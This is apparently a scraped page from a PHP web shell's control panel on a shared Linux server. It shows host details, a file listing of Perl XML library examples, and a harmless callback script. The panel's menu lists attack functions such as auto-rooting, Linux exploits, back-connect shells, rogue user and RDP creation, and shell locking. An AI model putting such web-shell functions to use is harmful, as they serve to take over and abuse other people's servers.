Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
libxml-libxml-perl /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
complex
[ DIR ]
drwxr-xr-x
xmlns
[ DIR ]
drwxr-xr-x
article.xml
245
B
-rw-r--r--
article_bad.xml
215
B
-rw-r--r--
article_external_bad.xml
284
B
-rw-r--r--
article_internal.xml
836
B
-rw-r--r--
article_internal_bad.xml
838
B
-rw-r--r--
bad.dtd
38
B
-rw-r--r--
bad.xml
19
B
-rw-r--r--
catalog.xml
324
B
-rw-r--r--
cb_example.pl
1.13
KB
-rw-r--r--
create-sample-html-document.pl
5.02
KB
-rw-r--r--
dromeds.xml
410
B
-rw-r--r--
dtd.xml
111
B
-rw-r--r--
enc2_latin2.html
50
B
-rw-r--r--
enc_latin2.html
146
B
-rw-r--r--
ext_ent.dtd
48
B
-rw-r--r--
ns.xml
182
B
-rw-r--r--
test.dtd
581
B
-rw-r--r--
test.html
6.83
KB
-rw-r--r--
test.xhtml
7.07
KB
-rw-r--r--
test.xml
113
B
-rw-r--r--
test2.xml
13
B
-rw-r--r--
test3.xml
26
B
-rw-r--r--
test4.xml
115
B
-rw-r--r--
utf-16-1.html
184
B
-rw-r--r--
utf-16-2.html
354
B
-rw-r--r--
utf-16-2.xml
254
B
-rw-r--r--
xmllibxmldocs.pl
19.18
KB
-rw-r--r--
xpath.pl
1
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cb_example.pl
use strict; use warnings; use XML::LibXML; use IO::File; # first instanciate the parser my $parser = XML::LibXML->new(); # initialize the callbacks $parser->match_callback( \&match_uri ); $parser->read_callback( \&read_uri ); $parser->open_callback( \&open_uri ); $parser->close_callback( \&close_uri ); # include XIncludes on the fly $parser->expand_xinclude( 1 ); # parse the file "text.xml" in the current directory my $dom = $parser->parse_file("test.xml"); print $dom->toString() , "\n"; # the callbacks follow # these callbacks are used for both the original parse AND the XInclude sub match_uri { my $uri = shift; return $uri !~ /:\/\// ? 1 : 0; # we handle only files } sub open_uri { my $uri = shift; my $handler = new IO::File; if ( not $handler->open( "<$uri" ) ){ $handler = 0; } return $handler; } sub read_uri { my $handler = shift; my $length = shift; my $buffer = undef; if ( $handler ) { $handler->read( $buffer, $length ); } return $buffer; } sub close_uri { my $handler = shift; if ( $handler ) { $handler->close(); } return 1; }
Close
